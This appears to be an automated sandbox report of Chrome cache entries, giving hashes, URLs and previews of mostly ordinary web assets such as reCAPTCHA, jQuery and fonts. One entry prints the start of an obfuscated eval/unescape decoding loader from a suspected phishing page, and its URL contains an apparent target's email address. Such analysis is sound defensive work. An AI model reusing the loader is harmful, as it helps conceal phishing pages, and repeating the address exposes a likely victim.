Preview:	/* Anti-spam. Want to say hello? Contact (base64) Ym90Z3VhcmQtY29udGFjdEBnb29nbGUuY29t / (function(){var Z=function(y){return y},P=this\|\|self,u=function(y,n){if(!(y=(n=P.trustedTypes,null),n)\|\|!n.createPolicy)return y;try{y=n.createPolicy("bg",{createHTML:Z,createScript:Z,createScriptURL:Z})}catch(g){P.console&&P.console.error(g.message)}return y};(0,eval)(function(y,n){return(n=u())&&1===y.eval(n.createScript("1"))?function(g){return n.createScript(g)}:function(g){return""+g}}(P)(Array(7824Math.random()\|0).join("\n")+['(function(){/',.'',.' SPDX-License-Identifier: Apache-2.0',.'/',.'var yz=function(y,n){return n=0,function(){return n<y.length?{done:false,value:y[n++]}:{done:true}}},gw=function(y,n,g,u,P,b){function Q(){if(n.s==n){if(n.R){var Z=[w,g,y,void 0,P,b,arguments];if(2==u)var r=U(n,false,(C(Z,n),false));else if(1==u){var a=!n.K.length;C(Z,n),a&&U(n,false,false)}else r=n5(Z,n);return r}P&&b&&P.removeEventListener(b,Q,X)}}return Q},C=function(y,n){n.K.splice(0,0,y)},ZI=func

Chrome Cache Entry: 152

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced
Category:	downloaded
Size (bytes):	600
Entropy (8bit):	7.391634169810707
Encrypted:	false
SSDEEP:	12:6v/7OEUT9vceKKNtY3kM8O+mucROzZbJOAjPBE2Iq8AnxT9:bTdcVIM8tfHzzjy2IdKT9
MD5:	0F2A4639B8A4CB30C76E8333C00D30A6
SHA1:	57E273A270BB864970D747C74B3F0A7C8E515B13
SHA-256:	44B988703019CD6BFA86C91840FECF2A42B611B364E3EEA2F4EB63BF62714E98
SHA-512:	3EA72C7E8702D2E9D94B0FAA6FA095A33AB8BC6EC2891F8B3165CE29A9CCF2114FAEF424FA03FD4B9D06785326284C1BB2087CE05E249CCAC65418361BFA7C51
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/api2/refresh_2x.png
Preview:	.PNG........IHDR...0...0.......1.....gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.........IDATX..M+.Q.....&/....&......6...\|.I..).o.I.X..#.@.bb.D.'5....m...=..y........{....<.P..;.H......f...3l...M.I...j2.....3..1x..S......9..<m...E.'F'.. ...M.j...C..c.5.-..F..3H./F!.."V.e.i.}.Y....../.rw...@...].rp...`CQo(.....J...u.".!E...$.^$...k....b....@.^.;.u5........H/Q{..$..'..........w...r.+xS.uR..J.......GD.O./.. G7..l...J.t.3.S...N.7...e..s.-Jlj)..5E....E.;8w4.k..=.li.G...1.c....p,T6;....1.oW.%.2,..Z..a...*m.s}T1F....Hr.1......<x0.....-.i......IEND.B`.

Chrome Cache Entry: 153

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32012)
Category:	downloaded
Size (bytes):	69597
Entropy (8bit):	5.369216080582935
Encrypted:	false
SSDEEP:	1536:qNhEyjjTikEJO4edXXe9J578go6MWX2xkjVe4c4j2ll2Ac7pK3F71QDU8CuT:Exc2yjq4j2uYnQDU8CuT
MD5:	5F48FC77CAC90C4778FA24EC9C57F37D
SHA1:	9E89D1515BC4C371B86F4CB1002FD8E377C1829F
SHA-256:	9365920887B11B33A3DC4BA28A0F93951F200341263E3B9CEFD384798E4BE398
SHA-512:	CAB8C4AFA1D8E3A8B7856EE29AE92566D44CEEAD70C8D533F2C98A976D77D0E1D314719B5C6A473789D8C6B21EBB4B89A6B0EC2E1C9C618FB1437EBC77D3A269
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-3.2.1.slim.min.js
Preview:	/! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_e

Chrome Cache Entry: 154

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	211
Entropy (8bit):	5.090012084439345
Encrypted:	false
SSDEEP:	3:INhtq4btxbKBf+BiAIFRNVC3h0i7GeYHoIp//uxbKBf+BiAIFRNVC3AYZtXL1h8T:otqWtxbQLZVVi7GeqlcbQLZVZYZ7qT
MD5:	938464F4A51E80A29886967E2DD10247
SHA1:	6CA208768620D334DC104B093C6B816BEFD75CAD
SHA-256:	E5E1650378525B31C2E2805A4CF471C306C690A4F01466044490D53753E83BBF
SHA-512:	D432657412D9A0D75171CFC35F9F3A1DF6383406D76BF299A1EC230E859C2DDA71BF452129956E66538CB652732ED4F8E47BA363691F18C77D61A7442391C30C
Malicious:	false
Reputation:	low
Preview:	<HTML>.<HEAD>.<TITLE>HTTP method GET is not supported by this URL</TITLE>.</HEAD>.<BODY BGCOLOR="#FFFFFF" TEXT="#000000">.<H1>HTTP method GET is not supported by this URL</H1>.<H2>Error 405</H2>.</BODY>.</HTML>.

Chrome Cache Entry: 155

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced
Category:	downloaded
Size (bytes):	665
Entropy (8bit):	7.42832670119013
Encrypted:	false
SSDEEP:	12:6v/7OEUelyuRs56fyKgIEInu5VLJBZInmJhd/3VqQXD8GBm1:belFRs56fuIEIu5VNBZInMTICfBO
MD5:	07BF314AAB04047B9E9A959EE6F63DA3
SHA1:	17BEF6602672E2FD9956381E01356245144003E5
SHA-256:	55EAF62CB05DA20088DC12B39D7D254D046CB1FD61DDF3AE641F1439EFD0A5EE
SHA-512:	2A1D4EBC7FBA6951881FD1DDA745480B504E14E3ADAC3B27EC5CF4045DE14FF030D45DDA99DC056285C7980446BA0FC37F489B7534BE46107B21BD43CEE87BA0
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/api2/info_2x.png
Preview:	.PNG........IHDR...0...0.......1.....gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.........IDATX..W..DA.=.6O...H.,E.............b.....C.1...1..EbLPI.W......H..s.z5.:..._.d.0.u.......j.x.R..._.v..R...1..ir..`.yn..R..j.h./y..l......(`..5....l.E..0......B^......F.....F....Y\|p..._,p.............(3^.r.P.O......;<....z.,..yF....N..x.MS...Q.C%......D8G.+......oOk...)T..}\|..e...G.....'.R..G.Z.T}7(...&..@...G....$PGYv...A.c.]d....N..'.4b...R.%..)2Yd..b.M..^@.M....^.:h.N(dP*t..RQ%.o...{.vGH..S._".@./...g.....]...?..h..E.,r.m.%."."W.6G..t...->....q\.Kc.t"^......Kj~{l..C..).y..><@\|yB....=c.............!...<....IEND.B`.

Chrome Cache Entry: 156

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 157

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (17279)
Category:	downloaded
Size (bytes):	17874
Entropy (8bit):	5.603523333319609
Encrypted:	false
SSDEEP:	384:C3cS+Wu32Ctp/9e8cPNceA3rnry8TicCF6keaekGO584R95:2o7GE/EdFEesVaehv4R95
MD5:	24611E146190210F2F18B73A4970BD62
SHA1:	9BE6EC88A3B8C548C7CCF3494A5FB390D943C179
SHA-256:	69CCD4638463A2808E26176E4863A0648A6D494AB431CC607284CF41E3AEA422
SHA-512:	092AD0B0CCF826D0A7DB55D9ABB91C87BCA773271ABC5E12DDD0A7BA1880DE07E9672155ACD083138DA18285D52C74DC8AF8FAA1AEC9FDD92B9711B67BAF7C4D
Malicious:	false
Reputation:	low
URL:	https://www.google.com/js/bg/aczUY4RjooCOJhduSGOgZIptSUq0McxgcoTPQeOupCI.js
Preview:	/* Anti-spam. Want to say hello? Contact (base64) Ym90Z3VhcmQtY29udGFjdEBnb29nbGUuY29t / (function(){var Z=function(y){return y},P=this\|\|self,u=function(y,n){if(!(y=(n=P.trustedTypes,null),n)\|\|!n.createPolicy)return y;try{y=n.createPolicy("bg",{createHTML:Z,createScript:Z,createScriptURL:Z})}catch(g){P.console&&P.console.error(g.message)}return y};(0,eval)(function(y,n){return(n=u())&&1===y.eval(n.createScript("1"))?function(g){return n.createScript(g)}:function(g){return""+g}}(P)(Array(7824Math.random()\|0).join("\n")+['(function(){/',.'',.' SPDX-License-Identifier: Apache-2.0',.'/',.'var yz=function(y,n){return n=0,function(){return n<y.length?{done:false,value:y[n++]}:{done:true}}},gw=function(y,n,g,u,P,b){function Q(){if(n.s==n){if(n.R){var Z=[w,g,y,void 0,P,b,arguments];if(2==u)var r=U(n,false,(C(Z,n),false));else if(1==u){var a=!n.K.length;C(Z,n),a&&U(n,false,false)}else r=n5(Z,n);return r}P&&b&&P.removeEventListener(b,Q,X)}}return Q},C=function(y,n){n.K.splice(0,0,y)},ZI=func

Chrome Cache Entry: 158

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.02, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 450x450, components 3
Category:	downloaded
Size (bytes):	47293
Entropy (8bit):	7.977365269771038
Encrypted:	false
SSDEEP:	768:e8/CCo21J33NPyy+vK+KrHAu73xGtPItccxt42NbRsEyPbmTI4+kcMp40A47Lz4s:efCzdNj2K+67BZtnT4QRsE1I49a0b7LL
MD5:	1209A78D87F1BD9191D092B9AA5F051B
SHA1:	A73FE668B817F2F6C49DC7A17B8917D15F3C85BF
SHA-256:	8AB8FC7A2FB358E5BB1887018AFFAB745592C7B8C6EC528A47F653B380E8110E
SHA-512:	F249FA9B133128B95168A5391921FD3A2CF48B42560EC7F60F61D53B4731E5A76F37301E64ED34E928804B0A9F00B59FB53E4EF9154CB66CD91D8B456F035E15
Malicious:	false
Reputation:	low
URL:	https://www.google.com/recaptcha/api2/payload?p=06AFcWeA4BcxoE_I4LFIN1HO0cmaE9XHtZLfP2L5diLtzbOKdoXTHYQGRhCxaGx4w6hEGJdFPYLkHCYPolgYbvkdPQy3ewkgTPu2G4tQd5_-llYOZN7XTVs98RoCumRlYyUmD8di-Qpuk3Z1oWtuLqzRMlLRDT4Zz4lTSfLjLQKkHQ936rhb6bH8tCOCdQR8sZhk-ksLT2-ubRCNBSRv4VRboJfcV0W4EMqA&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b&id=58d7975494f28ad0
Preview:	......JFIF.............C..............................................!........."$".$.......C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....q+..$.......Z.Ba.....P2;b.4......P.0...i.C..n....Z...@.09N.V...byC....U.Vh..$1.v.;.U;.a...l..e.d.FQ.E.+......6.[..M.....+n.R....r.......0\xb....2..9...f......9$.1."0.os.....-......5x.$......X"....+!#..Q1.r.H..9>..\|8.W.n..?..N.....B..T...........vf..ix%........\..o.H..M...^..hv.Y.2G._.Rk..r\|(.......{N...1+.\|.(SI.l4.....@....+...n.........X..,0~.........

Chrome Cache Entry: 159

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (6476), with CRLF line terminators
Category:	downloaded
Size (bytes):	7450
Entropy (8bit):	3.5651097980855537
Encrypted:	false
SSDEEP:	192:KcqfXPPpJVm4K3HJez7SbcOkXXECQtBBtNH7BR:KXPPC5g7auXXCtB1
MD5:	2C66771F77B40A8172C3685C8481FD75
SHA1:	CA001ED817938DA84B8D11F4E94B63F95AA1821E
SHA-256:	3A462668EED35726506C44ECB156B0B2EF421996E6987B53AD894501155AB24A
SHA-512:	5A9D24323A54A49A437172C970AEC96E47B9D2E483C5C8743FF63D0E17BAEEA7B8D14B2A231DA1422364116CAB557D334D5CF2AF33C7609AB7796B3704703BEA
Malicious:	false
Reputation:	low
URL:	https://nwfkh03tev-1324839608.cos.sa-saopaulo.myqcloud.com/nwfkh03tev.html?e=amromano@steinborn.com
Preview:	<html>..<head>..</head>..<body>....<script type="text/javascript">.. ..eval(unescape('%66%75%6e%63%74%69%6f%6e%20%75%30%37%33%30%31%31%30%30%62%28%73%29%20%7b%0a%09%76%61%72%20%72%20%3d%20%22%22%3b%0a%09%76%61%72%20%74%6d%70%20%3d%20%73%2e%73%70%6c%69%74%28%22%31%34%37%34%31%39%37%39%22%29%3b%0a%09%73%20%3d%20%75%6e%65%73%63%61%70%65%28%74%6d%70%5b%30%5d%29%3b%0a%09%6b%20%3d%20%75%6e%65%73%63%61%70%65%28%74%6d%70%5b%31%5d%20%2b%20%22%37%36%38%34%32%31%22%29%3b%0a%09%66%6f%72%28%20%76%61%72%20%69%20%3d%20%30%3b%20%69%20%3c%20%73%2e%6c%65%6e%67%74%68%3b%20%69%2b%2b%29%20%7b%0a%09%09%72%20%2b%3d%20%53%74%72%69%6e%67%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%28%70%61%72%73%65%49%6e%74%28%6b%2e%63%68%61%72%41%74%28%69%25%6b%2e%6c%65%6e%67%74%68%29%29%5e%73%2e%63%68%61%72%43%6f%64%65%41%74%28%69%29%29%2b%2d%36%29%3b%0a%09%7d%0a%09%72%65%74%75%72%6e%20%72%3b%0a%7d%0a'));..eval(unescape('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%75%30%37%33%30%31%31%30%30%62%28%27') + '%46%24%4e%56%4b%

Chrome Cache Entry: 160

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	271751
Entropy (8bit):	5.0685414131801165
Encrypted:	false
SSDEEP:	6144:+tah6/K+TCtlMhTze/RZcYmDizK8dB7alFys/WL/umH4N0IPfKu5AA11vrIY:9pZcYmDcHwFygmY1PfjAA1Br3
MD5:	6A07DA9FAE934BAF3F749E876BBFDD96
SHA1:	46A436EBA01C79ACDB225757ED80BF54BAD6416B
SHA-256:	D8AA24ECC6CECB1A60515BC093F1C9DA38A0392612D9AB8AE0F7F36E6EEE1FAD
SHA-512:	E525248B09A6FB4022244682892E67BBF64A3E875EB889DB43B0A24AB4A75077B5D5D26943CA382750D4FEBC3883193F3BE581A4660065B6FC7B5EC20C4A044B
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-3.3.1.js
Preview:	/!. jQuery JavaScript Library v3.3.1. * https://jquery.com/. . Includes Sizzle.js. * https://sizzlejs.com/. . Copyright JS Foundation and other contributors. * Released under the MIT license. * https://jquery.org/license. . Date: 2018-01-20T17:24Z. */.( function( global, factory ) {..."use strict";...if ( typeof module === "object" && typeof module.exports === "object" ) {....// For CommonJS and CommonJS-like environments where a proper `window`...// is present, execute the factory and get jQuery....// For environments that do not have a `window` with a `document`...// (such as Node.js), expose a factory as module.exports....// This accentuates the need for the creation of a real `window`....// e.g. var jQuery = require("jquery")(window);...// See ticket #14549 for more info....module.exports = global.document ?....factory( global, true ) :....function( w ) {.....if ( !w.document ) {......throw new Error( "jQuery requires a window with a document" );.....}.....return factor

Chrome Cache Entry: 161

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1293
Entropy (8bit):	5.448893852817212
Encrypted:	false
SSDEEP:	24:81/nQOY7a4gwAZzhnQOY7a4goRVc+u/rnQOY7a4gHwy96DGSSf7:coOEa4gvGOEa4goRVc+uUOEa4gHN0oD
MD5:	CBA4ED6C809962AC6C2A26842183B67A
SHA1:	3F8E077AFC8EF5BAB7FA626EA782DAE34D419BBE
SHA-256:	AAE65C231008861C6430EBE296C926E728C4D2CCB1492F86E42D760E9B67D9A5
SHA-512:	84894B90DDA3CA3487F3E4F87F8244C78BA726331AC3EA290F6BD64830B0A21856A42333CC4EDBBF23DC2F063C53AD71B3F41864275D874AEBD37C198AE1CBE0
Malicious:	false
Reputation:	low
URL:	https://fonts.googleapis.com/css?family=Archivo+Narrow&display=swap
Preview:	/* vietnamese /.@font-face {. font-family: 'Archivo Narrow';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.com/s/archivonarrow/v30/tss5ApVBdCYD5Q7hcxTE1ArZ0Zz8oY2KRmwvKhhvLFG6rHmsJCQ.woff2) format('woff2');. unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+0300-0301, U+0303-0304, U+0308-0309, U+0323, U+0329, U+1EA0-1EF9, U+20AB;.}./ latin-ext /.@font-face {. font-family: 'Archivo Narrow';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.com/s/archivonarrow/v30/tss5ApVBdCYD5Q7hcxTE1ArZ0Zz8oY2KRmwvKhhvLFG6rXmsJCQ.woff2) format('woff2');. unicode-range: U+0100-02AF, U+0304, U+0308, U+0329, U+1E00-1E9F, U+1EF2-1EFF, U+2020, U+20A0-20AB, U+20AD-20C0, U+2113, U+2C60-2C7F, U+A720-A7FF;.}./ latin */.@font-face {. font-family: 'Archivo Narrow';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.com

Chrome Cache Entry: 162

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	211
Entropy (8bit):	5.090012084439345
Encrypted:	false
SSDEEP:	3:INhtq4btxbKBf+BiAIFRNVC3h0i7GeYHoIp//uxbKBf+BiAIFRNVC3AYZtXL1h8T:otqWtxbQLZVVi7GeqlcbQLZVZYZ7qT
MD5:	938464F4A51E80A29886967E2DD10247
SHA1:	6CA208768620D334DC104B093C6B816BEFD75CAD
SHA-256:	E5E1650378525B31C2E2805A4CF471C306C690A4F01466044490D53753E83BBF
SHA-512:	D432657412D9A0D75171CFC35F9F3A1DF6383406D76BF299A1EC230E859C2DDA71BF452129956E66538CB652732ED4F8E47BA363691F18C77D61A7442391C30C
Malicious:	false
Reputation:	low
Preview:	<HTML>.<HEAD>.<TITLE>HTTP method GET is not supported by this URL</TITLE>.</HEAD>.<BODY BGCOLOR="#FFFFFF" TEXT="#000000">.<H1>HTTP method GET is not supported by this URL</H1>.<H2>Error 405</H2>.</BODY>.</HTML>.

Chrome Cache Entry: 163

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 2 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	downloaded
Size (bytes):	5430
Entropy (8bit):	3.6534652184263736
Encrypted:	false
SSDEEP:	48:wIJct3xIAxG/7nvWDtZcdYLtX7B6QXL3aqG8Q:wIJct+A47v+rcqlBPG9B
MD5:	F3418A443E7D841097C714D69EC4BCB8
SHA1:	49263695F6B0CDD72F45CF1B775E660FDC36C606
SHA-256:	6DA5620880159634213E197FAFCA1DDE0272153BE3E4590818533FAB8D040770
SHA-512:	82D017C4B7EC8E0C46E8B75DA0CA6A52FD8BCE7FCF4E556CBDF16B49FC81BE9953FE7E25A05F63ECD41C7272E8BB0A9FD9AEDF0AC06CB6032330B096B3702563
Malicious:	false
Reputation:	low
URL:	https://www.google.com/favicon.ico
Preview:	............ .h...&... .... .........(....... ..... ............................................0...................................................................................................................................v.].X.:.X.:.r.Y........................................q.X.S.4.S.4.S.4.S.4.S.4.S.4...X....................0........q.W.S.4.X.:.................J...A...g.........................K.H.V.8..........................F..B.....................,.......................................B..............................................B..B..B..B..B...u..........................................B..B..B..B..B...{.................5.......k...........................................................7R..8F.................................................2........Vb..5C..;I..................R^.....................0................Xc..5C..5C..5C..5C..5C..5C..lv..........................................]i..<J..:G..Zf....................................................

Chrome Cache Entry: 164

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15344, version 1.0
Category:	downloaded
Size (bytes):	15344
Entropy (8bit):	7.984625225844861
Encrypted:	false
SSDEEP:	384:ctE5KIuhGO+DSdXwye6i9Xm81v4vMHCbppV0pr3Ll9/w:cqrVO++tw/9CICFbQLlxw
MD5:	5D4AEB4E5F5EF754E307D7FFAEF688BD
SHA1:	06DB651CDF354C64A7383EA9C77024EF4FB4CEF8
SHA-256:	3E253B66056519AA065B00A453BAC37AC5ED8F3E6FE7B542E93A9DCDCC11D0BC
SHA-512:	7EB7C301DF79D35A6A521FAE9D3DCCC0A695D3480B4D34C7D262DD0C67ABEC8437ED40E2920625E98AAEAFBA1D908DEC69C3B07494EC7C29307DE49E91C2EF48
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu4mxK.woff2
Preview:	wOF2......;........H..;..........................d..@..J.`..L.T..<.....x.....^...x.6.$..6. ..t. ..I.h\|.l....A....b6........(......@e.]...:..-.0..r.)..hS..h...N.).D.........b.].......^..t?.m{...."84...9......c...?..r3o....}...S]....zbO.../z..{.....~cc....I...#.G.D....#e.A..b...b`a5P.4........M....v4..fI#X.z,.,...=avy..F.a.\9.P\|.[....r.Q@M.I.._.9..V..Q..]......[ {u..L@...]..K......]C....l$.Z.Z...Zs.4........ x.........F.?.7N..].\|.wb\....Z{1L#..t....0.dM...$JV...{..oX...i....6.v.~......)\|.TtAP&).KQ.]y........'...:.d..+..d..."C.h..p.2.M..e,.UP..@.q..7..D.@...,......B.n. r&.......F!.....\...;R.?-.i...,7..cb../I...Eg...!X.)5.Aj7...Ok..l7.j.A@B`".}.w.m..R.9..T.X.X.d....S..`XI..1... .$C.H.,.\. ..A(.AZ.................`Wr.0]y..-..K.1.............1.tBs..n.0...9.F[b.3x...$....T..PM.Z-.N.rS?I.<8eR'.3..27..?;..OLf.Rj.@.o.W...........j~ATA....vX.N:.3dM.r.)Q.B...4i.f..K.l..s....e.U.2...k..a.GO.}..../.'..%$..ed..'..qP....M..j....../.z&.=...q<....-..?.A.%..K..

Chrome Cache Entry: 165

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15340, version 1.0
Category:	downloaded
Size (bytes):	15340
Entropy (8bit):	7.983406336508752
Encrypted:	false
SSDEEP:	384:F2gPJde0V2iGrQyD8b3k/tigCdeNqOUd47SH0tsGm:4gPVV2NQE8b3ldeNWH0Wb
MD5:	19B7A0ADFDD4F808B53AF7E2CE2AD4E5
SHA1:	81D5D4C7B5035AD10CCE63CF7100295E0C51FDDA
SHA-256:	C912A9CE0C3122D4B2B29AD26BFE06B0390D1A5BDAA5D6128692C0BEFD1DFBBD
SHA-512:	49DA16000687AC81FC4CA9E9112BDCA850BB9F32E0AF2FE751ABC57A8E9C3382451B50998CEB9DE56FC4196F1DC7EF46BBA47933FC47EB4538124870B7630036
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmYUtfBBc4.woff2
Preview:	wOF2......;........d..;..........................d..z..J.`..L.Z..<.....\..`..^...x.6.$..6. ..\|. ..8..z%......Q.{..q...FF.kd .8.(..d..).!C...Y.JA...r. ..GH8F......nW...".2&....2<..+C...p...b..SC.......J......z.-..Q..#6&1zUe../\...l.....<.....9s...E~.]B-..B.wY..o......Q..A.F..1j.......-.`P% .. ,..@1.0..~.....WWW.d.u<c{..^.R.+..w....&.........A......+C....(.N.....0.~..0.J.;.Nu..7....]..m.H.....[h.GL3....?)....c.H...2.3.}y........SXI\|..iVN'%E.D.W....r..<`....i....6;E$.....U.$j.@...._.......R2....WS...k.vz.R.'a9!^...N....h.._.....c.%."..S.2.16B...o.2}.pmU[.\|.LI....2.....OWQLO1-....s..8.(...".\|6...6R.. ..M-.zO.}w)..v..mXxX...c..3#.+.v....F`.Z;.zQ.......r,....Yo.....g.h....+.....O.3Y..)Y.8.!....elX......._.3.}k~u.{ C..H.z..FP........@...d..)T.R...L.H.J.j.@..............$...E......y...3.b...I.h u.+%.HA.\..9..8..X.!....gx...].:..V..C...._..X..!....6..)...GM:E.....O.Z.}k.;.T.k..D.k.O..D5.r..."......?..T.Q.A...CF...3g.5.Dn<.QPy..G..1.9..Q..0..

Chrome Cache Entry: 166

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced
Category:	downloaded
Size (bytes):	600
Entropy (8bit):	7.391634169810707
Encrypted:	false
SSDEEP:	12:6v/7OEUT9vceKKNtY3kM8O+mucROzZbJOAjPBE2Iq8AnxT9:bTdcVIM8tfHzzjy2IdKT9
MD5:	0F2A4639B8A4CB30C76E8333C00D30A6
SHA1:	57E273A270BB864970D747C74B3F0A7C8E515B13
SHA-256:	44B988703019CD6BFA86C91840FECF2A42B611B364E3EEA2F4EB63BF62714E98
SHA-512:	3EA72C7E8702D2E9D94B0FAA6FA095A33AB8BC6EC2891F8B3165CE29A9CCF2114FAEF424FA03FD4B9D06785326284C1BB2087CE05E249CCAC65418361BFA7C51
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/api2/refresh_2x.png
Preview:	.PNG........IHDR...0...0.......1.....gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.........IDATX..M+.Q.....&/....&......6...\|.I..).o.I.X..#.@.bb.D.'5....m...=..y........{....<.P..;.H......f...3l...M.I...j2.....3..1x..S......9..<m...E.'F'.. ...M.j...C..c.5.-..F..3H./F!.."V.e.i.}.Y....../.rw...@...].rp...`CQo(.....J...u.".!E...$.^$...k....b....@.^.;.u5........H/Q{..$..'..........w...r.+xS.uR..J.......GD.O./.. G7..l...J.t.3.S...N.7...e..s.-Jlj)..5E....E.;8w4.k..=.li.G...1.c....p,T6;....1.oW.%.2,..Z..a...*m.s}T1F....Hr.1......<x0.....-.i......IEND.B`.

Chrome Cache Entry: 167

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (358)
Category:	downloaded
Size (bytes):	11816
Entropy (8bit):	5.037139572888145
Encrypted:	false
SSDEEP:	192:bpvXn2H25Zx48DNYGu6C9tdDOxktft1zQOPtaUrzvHlPuPQXGuV27BHplXtAUU/s:FvX2H25v4CYn6etFTBvhtv4IcpRtlU/s
MD5:	A8063BD37D3C8FB3176A6BF140558A4D
SHA1:	E32CF4B407DB3D3773DED13FF64B70FDBAD7735F
SHA-256:	BCCB23D41C2CC69CF0C7D22C4314CA8181A513C6999B73E45307792830F4E482
SHA-512:	82D749F6B17B21587FB345CA196A2AA83ECA80AD66ED9C1AB88B36709BED14175D53AFEFE9ACC0DAFC4FAD78FFB8DF155193A6829BC857AD6D68B1C84AF7B854
Malicious:	false
Reputation:	low
URL:	https://smsfrica.com/favicon.ico
